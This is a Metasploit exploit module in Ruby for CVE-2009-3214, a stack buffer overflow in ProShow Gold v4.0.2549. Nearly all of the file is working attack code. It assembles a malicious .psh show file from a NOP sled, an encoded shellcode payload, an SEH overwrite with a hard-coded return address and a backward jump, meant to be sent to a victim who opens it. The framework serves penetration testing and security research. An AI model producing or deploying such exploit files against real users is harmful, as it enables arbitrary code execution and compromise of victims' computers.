##
# $Id: proshow_cellimage_bof.rb 7911 2009-12-18 00:19:04Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'ProShow Gold v4.0.2549 (PSH File) Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in ProShow Gold v4.0.2549.
				An attacker must send the file to victim and the victim must open the file.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'jduck' ],
			'Version'        => '$Revision: 7911 $',
			'References'     =>
				[
					[ 'CVE', '2009-3214' ],
					[ 'OSVDB', '57226' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/9483' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/9519' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},					
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\x0a\x0d",
					'StackAdjustment' => -3500,
				},
			'Platform' => 'win',
			'Targets'        => 
				[
					# 0x01a614ea # p/p/r @ all.dnt 
					[ 'Windows Universal', { 'Offset' => 4036, 'Ret' => 0x101a4cf9 } ], # p/p/r if.dnt
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Aug 20 2009',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME', [ true, 'The file name.',  'msf.psh']),
				], self.class)
	end

	def exploit

		sploit = make_nops(target['Offset'] - 4 - payload.encoded.length)
		sploit << payload.encoded
		sploit << generate_seh_record(target.ret)
		
		# note, just in case the arguments get modified, we'll jump back into our buffer...
		sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + target['Offset'].to_s).encode_string

		# cause exception hitting the end of the stack
		sploit << rand_text(1000) * 13
		
		content = "Photodex(R) ProShow(TM) Show File Version=0\r\n"
		content << "cells=1\r\n"
		content << "cell[0].nrOfImages=1\r\n"
		content << "cell[0].images[0].image=" << sploit << "\r\n"
		
		print_status("Creating '#{datastore['FILENAME']}' file ...")
		file_create(content)

	end

end